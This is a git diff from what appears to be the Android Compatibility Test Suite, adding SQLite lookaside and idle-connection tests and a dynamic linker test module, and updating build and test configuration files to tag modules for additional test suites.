@@ -1388,7 +1391,7 @@
}
public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
SQLiteDatabase.CREATE_IF_NECESSARY | SQLiteDatabase.ENABLE_WRITE_AHEAD_LOGGING,
null);
@@ -1409,14 +1412,13 @@
public void testEnableWriteAheadLoggingFromContextUsingModeFlag() {
// Without the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens without WAL.
- getContext().deleteDatabase(DATABASE_FILE_NAME);
+ closeAndDeleteDatabase();
mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
Context.MODE_PRIVATE, null);
assertFalse(mDatabase.isWriteAheadLoggingEnabled());
- mDatabase.close();
// With the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens with WAL.
- getContext().deleteDatabase(DATABASE_FILE_NAME);
+ closeAndDeleteDatabase();
mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
Context.MODE_PRIVATE | Context.MODE_ENABLE_WRITE_AHEAD_LOGGING, null);
assertTrue(mDatabase.isWriteAheadLoggingEnabled());
@@ -1493,4 +1495,99 @@
mDatabase.setForeignKeyConstraintsEnabled(true);
assertEquals(1, DatabaseUtils.longForQuery(mDatabase, "PRAGMA foreign_keys", null));
}
+
+ public void testOpenDatabaseLookasideConfig() {
+ // First check that lookaside is enabled (except low-RAM devices)
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(expectDisabled);
+ // Reopen test db with lookaside disabled
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setLookasideConfig(0, 0).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ verifyLookasideStats(true);
+ // Reopen test db with custom lookaside config
+ mDatabase.close();
+ params = new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(10000, 10).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Lookaside is always disabled on low-RAM devices
+ verifyLookasideStats(expectDisabled);
+ }
+
+ public void testOpenParamsSetLookasideConfigValidation() {
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(-1, 0).build();
+ fail("Negative slot size should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(0, -10).build();
+ fail("Negative slot count should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ private void verifyLookasideStats(boolean expectDisabled) {
+ boolean dbStatFound = false;
+ SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+ for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+ if (dbStat.dbName.endsWith(mDatabaseFile.getName())) {
+ dbStatFound = true;
+ Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+ if (expectDisabled) {
+ assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+ } else {
+ assertTrue("lookaside slots count should be greater than zero",
+ dbStat.lookaside > 0);
+ }
+ }
+ }
+ assertTrue("No dbstat found for " + mDatabaseFile.getName(), dbStatFound);
+ }
+
+ public void testCloseIdleConnection() throws Exception {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setIdleConnectionTimeout(1000).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Wait a bit and check that connection is still open
+ Thread.sleep(600);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+
+ // Now cause idle timeout and check that connection is closed
+ // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+ // message processing when system is busy
+ boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+ assertTrue("Connection #0 should be closed", connectionWasClosed);
+ }
+
+ public void testNoCloseIdleConnectionForAttachDb() throws Exception {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setIdleConnectionTimeout(50).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Attach db and verify size of the list of attached databases (includes main db)
+ assertEquals(1, mDatabase.getAttachedDbs().size());
+ mDatabase.execSQL("ATTACH DATABASE ':memory:' as memdb");
+ assertEquals(2, mDatabase.getAttachedDbs().size());
+ // Wait longer (500ms) to catch cases when timeout processing was delayed
+ boolean connectionWasClosed = waitForConnectionToClose(5, 100);
+ assertFalse("Connection #0 should be open", connectionWasClosed);
+ }
+
+ public void testSetIdleConnectionTimeoutValidation() throws Exception {
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setIdleConnectionTimeout(-1).build();
+ fail("Negative timeout should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ public void testDefaultJournalModeNotWAL() {
+ assertFalse("Default journal mode should not be WAL", "WAL".equalsIgnoreCase(
+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)));
+ }
+
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 8a0ba21..853f24b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -16,37 +16,48 @@
package android.database.sqlite.cts;
+import android.app.ActivityManager;
import android.content.Context;
-import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
import android.database.sqlite.SQLiteOpenHelper;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
/**
* Test {@link SQLiteOpenHelper}.
*/
public class SQLiteOpenHelperTest extends AndroidTestCase {
+ private static final String TAG = "SQLiteOpenHelperTest";
private static final String TEST_DATABASE_NAME = "database_test.db";
private static final int TEST_VERSION = 1;
private static final int TEST_ILLEGAL_VERSION = 0;
private MockOpenHelper mOpenHelper;
- private SQLiteDatabase.CursorFactory mFactory = new SQLiteDatabase.CursorFactory() {
- public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
- String editTable, SQLiteQuery query) {
- return new MockCursor(db, masterQuery, editTable, query);
- }
- };
+ private SQLiteDatabase.CursorFactory mFactory = MockCursor::new;
@Override
protected void setUp() throws Exception {
super.setUp();
+ SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
mOpenHelper = getOpenHelper();
}
+ @Override
+ protected void tearDown() throws Exception {
+ mOpenHelper.close();
+ super.tearDown();
+ }
+
public void testConstructor() {
new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
@@ -94,6 +105,105 @@
assertFalse(database3.isOpen());
}
+ public void testLookasideDefault() throws Exception {
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ // Lookaside is always disabled on low-RAM devices
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+ }
+
+ public void testLookasideDisabled() throws Exception {
+ mOpenHelper.setLookasideConfig(0, 0);
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), true);
+ }
+
+ public void testLookasideCustom() throws Exception {
+ mOpenHelper.setLookasideConfig(10000, 10);
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ // Lookaside is always disabled on low-RAM devices
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+ }
+
+ public void testSetLookasideConfigValidation() {
+ try {
+ mOpenHelper.setLookasideConfig(-1, 0);
+ fail("Negative slot size should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(0, -10);
+ fail("Negative slot count should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(1, 0);
+ fail("Illegal config should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(0, 1);
+ fail("Illegal config should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ private static void verifyLookasideStats(String dbName, boolean expectDisabled) {
+ boolean dbStatFound = false;
+ SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+ for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+ if (dbStat.dbName.endsWith(dbName)) {
+ dbStatFound = true;
+ Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+ if (expectDisabled) {
+ assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+ } else {
+ assertTrue("lookaside slots count should be greater than zero",
+ dbStat.lookaside > 0);
+ }
+ }
+ }
+ assertTrue("No dbstat found for " + dbName, dbStatFound);
+ }
+
+ public void testCloseIdleConnection() throws Exception {
+ mOpenHelper.setIdleConnectionTimeout(1000);
+ mOpenHelper.getReadableDatabase();
+ // Wait a bit and check that connection is still open
+ Thread.sleep(600);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+
+ // Now cause idle timeout and check that connection is closed
+ // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+ // message processing when system is busy
+ boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+ assertTrue("Connection #0 should be closed", connectionWasClosed);
+ }
+
+ public void testSetIdleConnectionTimeoutValidation() throws Exception {
+ try {
+ mOpenHelper.setIdleConnectionTimeout(-1);
+ fail("Negative timeout should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ public void testCloseIdleConnectionDefaultDisabled() throws Exception {
+ // Make sure system default timeout is not changed
+ assertEquals(30000, SQLiteGlobal.getIdleConnectionTimeout());
+
+ mOpenHelper.getReadableDatabase();
+ // Wait past the timeout and verify that connection is still open
+ Log.w(TAG, "Waiting for 35 seconds...");
+ Thread.sleep(35000);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+ }
+
private MockOpenHelper getOpenHelper() {
return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
}
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index e2164b0..f1b9b27 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -28,7 +28,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
index 9c454f1..c6d6de3 100644
--- a/tests/tests/debug/AndroidTest.xml
+++ b/tests/tests/debug/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Debug test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="devtools" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDebugTestCases.apk" />
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 4ad08a3..53ae177 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,10 +27,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDisplayTestCases
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 963db7a..8bb7d64 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 6e7c649..dcd2c0f 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -20,6 +20,8 @@
# We use the DefaultManifestAttributesTest from the android.cts.dpi package.
LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsDpiTestCases2
@@ -31,6 +33,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index eb46897..383c9c3 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -34,6 +34,6 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index 12d3358..7274740 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Dreams test cases">
<option name="config-descriptor:metadata" key="component" value="sysui" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDreamsTestCases.apk" />
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index d67c048..13ac8d6 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,12 +24,12 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDrmTestCases
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
index 87f00a4..fe9a041 100644
--- a/tests/tests/drm/jni/Android.mk
+++ b/tests/tests/drm/jni/Android.mk
@@ -30,4 +30,6 @@
LOCAL_SHARED_LIBRARIES := liblog libdl
LOCAL_SDK_VERSION := 23
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
index 656df5b..2b42df4 100644
--- a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
+++ b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
@@ -16,6 +16,7 @@
package android.drm.cts;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Collection;
@@ -111,7 +112,7 @@
private static void checkInvalidData(byte[] data) throws Exception {
try {
DrmInfo info = new DrmInfo(DEFAULT_TYPE, data, DEFAULT_MIME);
- fail("Data " + data + " was accepted for DrmInfo");
+ fail("Data " + Arrays.toString(data) + " was accepted for DrmInfo");
} catch(IllegalArgumentException e) {
// Expected and thus intentionally ignored.
}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
new file mode 100644
index 0000000..97518bd
--- /dev/null
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_a
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_b
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, .)
+LOCAL_MULTILIB := both
+LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+LOCAL_PACKAGE_NAME := CtsDynamicLinkerTestCases
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
new file mode 100644
index 0000000..db8099e
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.dynamiclinker">
+
+ <application android:extractNativeLibs="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+ <instrumentation
+ android:targetPackage="com.android.dynamiclinker"
+ android:name="android.support.test.runner.AndroidJUnitRunner" />
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
new file mode 100644
index 0000000..5cc4317
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS dynamic linker test cases">
+ <option name="config-descriptor:metadata" key="component" value="bionic" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="com.android.dynamiclinker" />
+ </test>
+</configuration>
diff --git a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
new file mode 100644
index 0000000..f0d7c4b
--- /dev/null
+++ b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.dynamiclinker;
+
+import junit.framework.TestCase;
+import android.support.test.InstrumentationRegistry;
+
+public class DynamicLinkerTest extends TestCase {
+
+ private native int functionA();
+ private native int functionB();
+
+ public void testLoadLibInApkByLibName() {
+ System.loadLibrary("dynamiclinker_native_lib_a");
+ assertEquals(1, functionA());
+ }
+
+ public void testLoadLibInApkByFileName() {
+ String arch = System.getProperty("os.arch");
+ String apkPath = InstrumentationRegistry.getContext().getPackageResourcePath();
+ if (arch.equals("aarch64")) {
+ System.load(apkPath + "!/lib/arm64-v8a/libdynamiclinker_native_lib_b.so");
+ } else if (arch.startsWith("arm")) {
+ System.load(apkPath + "!/lib/armeabi-v7a/libdynamiclinker_native_lib_b.so");
+ } else if (arch.equals("x86_64")) {
+ System.load(apkPath + "!/lib/x86_64/libdynamiclinker_native_lib_b.so");
+ } else if (arch.endsWith("86")) {
+ System.load(apkPath + "!/lib/x86/libdynamiclinker_native_lib_b.so");
+ } else {
+ // Don't know which lib to load on this arch.
+ return;
+ }
+ assertEquals(1, functionB());
+ }
+
+}
diff --git a/tests/tests/dynamic_linker/native_lib_a.cpp b/tests/tests/dynamic_linker/native_lib_a.cpp
new file mode 100644
index 0000000..8e8b859
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_a.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionA(JNIEnv *) {
+ return 1;
+}
diff --git a/tests/tests/dynamic_linker/native_lib_b.cpp b/tests/tests/dynamic_linker/native_lib_b.cpp
new file mode 100644
index 0000000..ce9081a
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_b.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionB(JNIEnv *) {
+ return 1;
+}
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index c347152..adf2baa 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -29,7 +29,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index 14e82c5..62afaad 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index 7f6a7e5..258b034 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS External Service test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index e99a71d..9fc0033 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsExternalServiceService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index 7d71585..b7bd036 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsGestureTestCases
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 5169643..5276c29 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Gesture test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index af59cbf..7ea5eec 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -26,6 +26,7 @@
android-support-test \
mockito-target-minus-junit4 \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
android-support-annotations \
junit \
@@ -38,7 +39,7 @@
LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Enforce public / test api only
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 360e09f..205e81b 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -18,11 +18,16 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.graphics.cts">
+ <uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name="android.graphics.cts.CameraGpuCtsActivity"
+ android:label="CameraGpuCtsActivity">
+ </activity>
+
<activity android:name="android.graphics.cts.ImageViewCtsActivity"
android:label="ImageViewCtsActivity">
<intent-filter>
diff --git a/tests/tests/graphics/AndroidTest.xml b/tests/tests/graphics/AndroidTest.xml
index 81a7045..baa1e70 100644
--- a/tests/tests/graphics/AndroidTest.xml
+++ b/tests/tests/graphics/AndroidTest.xml
